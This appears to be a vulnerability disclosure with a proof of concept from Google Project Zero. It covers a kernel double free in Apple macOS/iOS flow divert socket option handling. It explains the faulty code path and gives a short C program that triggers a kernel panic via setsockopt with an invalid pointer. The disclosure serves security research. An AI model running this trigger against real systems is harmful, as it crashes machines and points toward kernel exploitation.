Apple macOS/iOS - Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1373

SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by

  flow_divert_token_set(struct socket *so, struct sockopt *sopt)

in flow_divert.c.

The relevant code is:

  error = soopt_getm(sopt, &token);
  if (error) {
    goto done;
  }
  
  error = soopt_mcopyin(sopt, token);
  if (error) {
    goto done;
  }

...

done:
  if (token != NULL) {
    mbuf_freem(token);
  }

soopt_getm allocates an mbuf.

soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:

      error = copyin(sopt->sopt_val, mtod(m, char *),
          m->m_len);
      if (error != 0) {
        m_freem(m0);
        return (error);
      }

This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.

mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.

This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer

#if 0
MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling

SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by

  flow_divert_token_set(struct socket *so, struct sockopt *sopt)

in flow_divert.c.

The relevant code is:

  error = soopt_getm(sopt, &token);
  if (error) {
    goto done;
  }
  
  error = soopt_mcopyin(sopt, token);
  if (error) {
    goto done;
  }

...

done:
  if (token != NULL) {
    mbuf_freem(token);
  }

soopt_getm allocates an mbuf.

soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code:

			error = copyin(sopt->sopt_val, mtod(m, char *),
			    m->m_len);
			if (error != 0) {
				m_freem(m0);
				return (error);
			}

This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin
will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin
returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed.

mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing
back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually
exploit such an issue.

This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect
all double frees and this issue is still exploitable with sufficient grooming/cache manipulation.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdlib.h>
#include <stdio.h>

#include <sys/socket.h>

int main() {
  int sock = socket(PF_INET, SOCK_DGRAM, 0);
  if (socket < 0) {
    printf("failed to create socket\n");
    return 0;
  }

  printf("socket: %d\n", sock);

  setsockopt(sock, SOL_SOCKET, 0x1106, (void*)424242424242, 100);

  return 0;
}